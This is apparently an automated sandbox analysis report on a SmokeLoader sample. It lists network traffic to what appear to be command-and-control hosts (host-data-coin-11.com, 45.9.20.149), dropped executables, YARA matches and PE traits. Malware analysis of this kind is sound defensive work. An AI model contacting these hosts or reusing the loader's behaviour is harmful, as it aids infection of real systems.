20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef a8 8d 70 bc 57 da 4a d5 fe 24 85 21 ed c3 95 53 2f e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9KpWJ$!S/c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 08:14:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.76.197

Source: 12F1.exe, 00000009.00000000.772392521.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000002.949620420.0000000000D27000.00000002.00020000.sdmp, 12F1.exe, 00000009.00000003.774260268.0000000002921000.00000004.00000001.sdmp, 12F1.exe.6.dr	String found in binary or memory: src="https://www.facebook.com/tr?id=485425442358926&ev=PageView&noscript=1" equals www.facebook.com (Facebook)
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: .m9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nbriredl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.4:49832 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000000C.00000002.814172336.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.736880382.0000000000540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.737014881.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.854879480.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.853177748.0000000000540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.815844712.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.724058055.0000000004F41000.00000020.00020000.sdmp, type: MEMORY

Source: v72n86vFFq.exe, 00000000.00000002.684032858.00000000007DA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 1EAA.exe.6.dr, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 10.0.1EAA.exe.e80000.1.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 10.0.1EAA.exe.e80000.3.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 10.0.1EAA.exe.e80000.0.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 10.2.1EAA.exe.e80000.0.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 10.0.1EAA.exe.e80000.2.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 14.2.1EAA.exe.410000.0.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 14.0.1EAA.exe.410000.1.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736
Source: 14.0.1EAA.exe.410000.3.unpack, Oldening.Stubs/PageContainerStub.cs	Large array initialization: PopInfo: array initializer size 189736

PE file contains section with special chars

Show sources

Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name:
Source: 305.exe.6.dr	Static PE information: section name:

PE file has nameless sections

Show sources

Source: 12F1.exe.6.dr	Static PE information: section name:
Source: 12F1.exe.6.dr	Static PE information: section name:
Source: 12F1.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\361B.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6612 -s 520

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 0_2_00439EA0	0_2_00439EA0
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00402A5F	4_2_00402A5F
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_2_00402AB3	4_2_00402AB3
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_00402A5F	4_1_00402A5F
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 4_1_00402B2E	4_1_00402B2E
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 8_2_004E3253	8_2_004E3253
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 8_2_004E31FF	8_2_004E31FF
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEE0A1	9_2_00DEE0A1
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE52CD	9_2_00DE52CD
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DED3D1	9_2_00DED3D1
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEF301	9_2_00DEF301
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEC401	9_2_00DEC401
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE8509	9_2_00DE8509
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DDE532	9_2_00DDE532
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEC8A1	9_2_00DEC8A1
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEE861	9_2_00DEE861
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE8801	9_2_00DE8801
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DED9C1	9_2_00DED9C1
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE89E3	9_2_00DE89E3
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE3AC2	9_2_00DE3AC2
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE4BF1	9_2_00DE4BF1
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE3C15	9_2_00DE3C15
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DF4DD6	9_2_00DF4DD6
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEBDF1	9_2_00DEBDF1
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DECDE1	9_2_00DECDE1
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DE8D2C	9_2_00DE8D2C
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00DEEF91	9_2_00DEEF91
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00EA7058	9_2_00EA7058
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00EA0A98	9_2_00EA0A98
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00ECC1BA	9_2_00ECC1BA
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00ECC958	9_2_00ECC958
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Code function: 9_2_00F20048	9_2_00F20048
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_017E3870	10_2_017E3870
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_017E5B20	10_2_017E5B20
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_017EAAD8	10_2_017EAAD8
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_017EEF88	10_2_017EEF88
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_017E6EE0	10_2_017E6EE0
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_017E8518	10_2_017E8518
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_017EEF60	10_2_017EEF60
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_05839048	10_2_05839048
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_058383D0	10_2_058383D0
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_0583A7D8	10_2_0583A7D8
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_0583CB10	10_2_0583CB10
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_0583BE70	10_2_0583BE70
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_0583D270	10_2_0583D270
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Code function: 10_2_0583DED8	10_2_0583DED8
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00402A5F	12_2_00402A5F
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_2_00402AB3	12_2_00402AB3
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_00402A5F	12_1_00402A5F
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 12_1_00402AB3	12_1_00402AB3
Source: C:\Users\user\AppData\Local\Temp\361B.exe	Code function: 13_2_004027CA	13_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\361B.exe	Code function: 13_2_00401FF1	13_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\361B.exe	Code function: 13_2_0040158E	13_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\361B.exe	Code function: 13_2_004015A6	13_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\361B.exe	Code function: 13_2_004015BC	13_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_00410E10	17_2_00410E10
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_0040FF80	17_2_0040FF80
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_00410580	17_2_00410580
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_00410390	17_2_00410390
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_0043DA00	17_2_0043DA00

Source: 12F1.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 361B.exe.6.dr	Static PE information: Resource name: RT_CURSOR type: GLS_BINARY_LSB_FIRST
Source: 361B.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 361B.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Section loaded: mscorjit.dll

Source: v72n86vFFq.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

